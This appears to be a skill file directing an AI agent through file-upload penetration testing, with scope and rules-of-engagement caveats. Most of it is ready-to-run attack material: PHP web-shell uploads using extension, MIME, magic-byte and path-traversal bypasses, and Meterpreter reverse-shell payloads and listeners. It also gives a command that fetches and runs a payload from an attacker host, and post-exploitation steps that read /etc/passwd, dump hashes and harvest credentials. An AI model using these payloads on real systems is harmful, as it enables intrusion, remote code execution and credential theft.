| name | upload-pentest |
| description | Guides file upload vulnerability testing with extension bypass, content-type manipulation, magic byte injection, and web shell deployment. Use when file upload forms, avatar/profile uploads, or document import features are in scope. |
File Upload Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context and surface mapping.
- Active engagement with valid
engagement_id for all destructive MCP calls.
- Confirm upload testing is authorized in ROE (shell upload may be restricted).
Triggers
- File upload form on profile, avatar, attachment, import, or admin pages
- API endpoint accepting multipart/form-data or base64 file bodies
- Image/document upload with client-side type validation only
- Upload response returns filename, path, or preview URL
- Allowed extensions listed in UI, error messages, or JavaScript validation
- Tech stack suggests PHP, ASP, JSP, or Node file handling (check
whatweb, headers)
Workflow
Task Progress:
- [ ] Map upload endpoints, parameters, and response behavior
- [ ] Identify allowed types, size limits, and server-side validation
- [ ] Test extension, content-type, and magic-byte bypasses
- [ ] Discover upload path and achieve code execution or XSS delivery
- [ ] Bridge to MSF listener or post-exploit modules
- [ ] Document request/response evidence and impact PoC
Reconnaissance
Endpoint discovery
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/dir_scanner",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 443, "SSL": true, "PATH": "/upload", "DICTIONARY": "/usr/share/wordlists/dirb/common.txt"}
)
msf_search_modules(query="upload")
CLI fallback:
ffuf -u https://<target>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,301,302,403 -e .php,.asp,.aspx,.jsp
feroxbuster -u https://<target> -x php,asp,aspx,jsp,html
Common paths: /upload, /api/upload, /profile/avatar, /admin/import, /files, /media.
Allowed type enumeration
CLI (primary):
for ext in jpg png gif pdf docx php phtml php5 phar shtml asp aspx jsp; do
echo "test" > test.$ext
curl -sk -F "file=@test.$ext" "https://<target>/upload" -o "resp_$ext.txt"
done
Record: max file size, extension whitelist/blacklist, MIME checks, filename sanitization, random rename behavior.
MSF MCP: No direct upload fuzz module. Use HTTP scanners for path discovery only.
Extension bypass
Test when server validates filename extension but execution still possible.
CLI (primary):
curl -sk -F "file=@shell.php.jpg" "https://<target>/upload"
curl -sk -F "file=@shell.php%00.jpg" "https://<target>/upload"
curl -sk -F "file=@shell.pHp" "https://<target>/upload"
curl -sk -F "file=@shell.phtml" "https://<target>/upload"
curl -sk -F "file=@shell.asp;.jpg" "https://<target>/upload"
| Technique | Example filename | When it works |
|---|
| Double extension | shell.php.jpg, shell.asp;.jpg | Last ext stored, first executed |
| Null byte | shell.php%00.jpg | Legacy parsers truncate at null |
| Case variation | shell.pHp, shell.PhP | Case-insensitive blacklist |
| Alternate PHP | .phtml, .php3, .php4, .php5, .phar | Incomplete blacklist |
| Alternate ASP | .asp, .aspx, .cer, .asa | IIS handler mapping gaps |
| SSI | .shtml | Server-side includes enabled |
| Trailing chars | shell.php., shell.php::$DATA | Windows NTFS ADS |
| Semicolon (IIS) | shell.asp;.jpg | IIS extension separator |
MSF MCP: No direct module. Generate shell payloads after bypass confirmed.
Content-Type bypass
Many apps validate Content-Type header instead of file content.
CLI (primary):
curl -sk -F "file=@shell.php;type=image/jpeg" "https://<target>/upload"
curl -sk -F "file=@shell.php;type=image/png" "https://<target>/upload"
curl -sk -F "file=@shell.php;type=application/pdf" "https://<target>/upload"
| Declared Content-Type | Use when |
|---|
image/jpeg | JPEG-only whitelist |
image/png | PNG-only whitelist |
image/gif | GIF-only whitelist |
application/pdf | Document upload endpoints |
Combine with extension bypass: shell.php.jpg + Content-Type: image/jpeg.
MSF MCP: No direct module.
Magic byte injection
Prepend valid file headers so magic-byte or getimagesize() checks pass while shell code remains executable.
CLI (primary):
printf 'GIF89a\n<?php system($_GET["c"]); ?>' > shell.gif
printf '\xFF\xD8\xFF\xE0\x00\x10JFIF' > shell.jpg; echo '<?php system($_GET["c"]); ?>' >> shell.jpg
printf '\x89PNG\r\n\x1a\n' > shell.png; echo '<?php system($_GET["c"]); ?>' >> shell.png
curl -sk -F "file=@shell.gif;type=image/gif" "https://<target>/upload"
exiftool -Comment='<?php system($_GET["c"]); ?>' clean.jpg
Polyglot files: craft valid image that is also valid PHP/JS (exiftool, GIFAR). Prepend magic bytes to MSF-generated PHP payloads when image validation is present.
MSF MCP: No direct module. Use CLI for polyglots; MSF for payload generation after execution confirmed.
Upload path discovery and shell access
After successful upload, locate the stored file URL.
CLI (primary):
curl -sk -F "file=@test.txt" "https://<target>/upload" | tee upload_resp.json
ffuf -u https://<target>/FUZZ/test.txt -w uploads_paths.txt -mc 200,403
ffuf -u https://<target>/uploads/FUZZ -w filenames.txt -mc 200
curl -sk "https://<target>/uploads/shell.php?c=id"
curl -sk "https://<target>/uploads/shell.php.jpg?c=id"
Response fields to check: url, path, filename, src, location header, thumbnail preview src.
MSF MCP (preferred) after shell confirmed:
msf_start_listener(
engagement_id="<id>",
payload="php/meterpreter/reverse_tcp",
lhost="<attacker>",
lport=4444
)
msf_wait_for_session(engagement_id="<id>", timeout=60)
Trigger callback via uploaded shell or web request to shell URL.
Server-side filter bypass
Blacklist vs whitelist
| Filter type | Weakness | Bypass approach |
|---|
| Blacklist | Incomplete extension list | .phtml, .phar, .php5, double ext |
| Blacklist | Content keyword scan | Obfuscation, short tags <?=, concat |
| Whitelist | MIME-only check | Content-Type + magic bytes |
| Whitelist | Extension-only | Polyglot with allowed extension |
| Both | Path not in webroot | Path traversal in filename |
| Both | Image re-encoding | exiftool metadata, imageTragick (if authorized) |
Path traversal and WAF bypass
CLI (primary):
curl -sk -F 'file=@shell.php;filename=../../../var/www/html/shell.php' "https://<target>/upload"
curl -sk -F 'file=@shell.php;filename=....//....//shell.php' "https://<target>/upload"
curl -sk -F 'file=@shell.php;filename=..%2f..%2f..%2fshell.php' "https://<target>/upload"
Some WAFs fail to reassemble chunked multipart bodies. Test in Burp Repeater with "Use chunked transfer encoding" enabled.
MSF MCP: No direct WAF bypass module.
Metasploit integration
Generate web shell payloads
MSF MCP (preferred):
msf_generate_payload(
engagement_id="<id>",
payload="php/meterpreter/reverse_tcp",
format="raw",
options={"LHOST": "<attacker>", "LPORT": 4444},
output_path="evidence/msf/shell.php"
)
# Also: windows/x64/meterpreter/reverse_https format=aspx
# Also: java/jsp_shell_reverse_tcp format=war
CLI fallback:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o evidence/msf/shell.php
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<attacker> LPORT=443 -f aspx -o evidence/msf/shell.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f war -o evidence/msf/shell.war
Prepend magic bytes to PHP payload before upload if image validation is present.
Listener and module search
MSF MCP (preferred):
msf_start_listener(
engagement_id="<id>",
payload="php/meterpreter/reverse_tcp",
lhost="<attacker>",
lport=4444
)
msf_search_modules(query="upload")
msf_search_modules(query="web_delivery")
msf_module_check(
module_name="exploit/multi/script/web_delivery",
engagement_id="<id>",
module_type="exploit",
options={"RHOSTS": "<target>"}
)
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'use multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST <attacker>; set LPORT 4444; run -j; exit'"
Use exploit/multi/script/web_delivery when you have command execution but need a full Meterpreter session. Upgrade via shell:
curl -sk "https://<target>/uploads/shell.php" --data 'c=wget http://<attacker>/shell.php -O /tmp/s.php; php /tmp/s.php'
Post-exploitation after shell upload
Once shell execution or Meterpreter session is obtained:
MSF MCP (preferred):
msf_session_sysinfo(engagement_id="<id>", session_id=1)
msf_session_getuid(engagement_id="<id>", session_id=1)
msf_session_upgrade(engagement_id="<id>", session_id=1)
msf_run_post_module(
engagement_id="<id>",
module_name="multi/recon/local_exploit_suggester",
session_id=1,
run_as_job=True
)
msf_send_session_command(
engagement_id="<id>",
session_id=1,
command="pwd; id; uname -a"
)
CLI fallback:
curl -sk "https://<target>/uploads/shell.php?c=cat+/etc/passwd"
curl -sk "https://<target>/uploads/shell.php?c=find+/+-writable+-type+d+2>/dev/null|head"
| Platform | Next steps |
|---|
| Linux PHP shell | Load linux-pentest; enumerate SUID, cron, writable paths |
| Windows ASP/ASPX | Load windows-pentest; whoami /priv, service abuse |
| Meterpreter | msf_run_post_module hashdump, enum users, pivot |
| Upload-only XSS | Chain to xss-pentest for SVG/HTML polyglot delivery |
Impact escalation: PoC with phpinfo() or id, reverse shell via MSF payload, read web.config/.env for creds, persistence only if ROE permits (persistence-pentest).
Load msf-post for full post-exploitation workflow. Capture upload request, response, shell URL, and command output under evidence/msf/. Remove uploaded shells when ROE requires cleanup.
Related skills
web-app-pentest - overall web testing flow and surface mapping
xss-pentest - SVG/HTML upload for stored XSS without code execution
lfi-pentest - phar:// wrapper after .phar upload
cmdi-pentest - command injection in filename or processing pipeline
msf-exploit-chain - exploit chain after initial shell
msf-post - post-exploitation with active sessions
linux-pentest / windows-pentest - privesc after web shell
initial-access-pentest - external upload as entry vector